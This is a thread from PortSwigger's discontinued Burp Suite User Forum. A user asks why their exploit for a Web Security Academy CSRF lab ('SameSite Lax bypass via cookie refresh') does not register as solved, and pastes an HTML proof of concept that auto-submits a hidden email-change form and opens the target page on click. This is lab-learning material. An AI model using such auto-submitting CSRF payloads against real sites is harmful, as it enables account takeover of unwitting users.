Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

SameSite Lax bypass via cookie refresh problem the thing is that my exploit its ok when i check the view exploit but when i deliver it wont work

Eternal | Last updated: Oct 16, 2024 03:35PM UTC

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script> window.onclick = () => { window.open('https://0a0b00690322a6b38288ec1d009100f9.web-security-academy.net/my-account/change-email') } </script> <form action="https://0a0b00690322a6b38288ec1d009100f9.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="red&#64;gmail&#46;com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Eternal | Last updated: Oct 16, 2024 03:35PM UTC

I mean that i cant see lab solved massage

Ben, PortSwigger Agent | Last updated: Oct 16, 2024 04:28PM UTC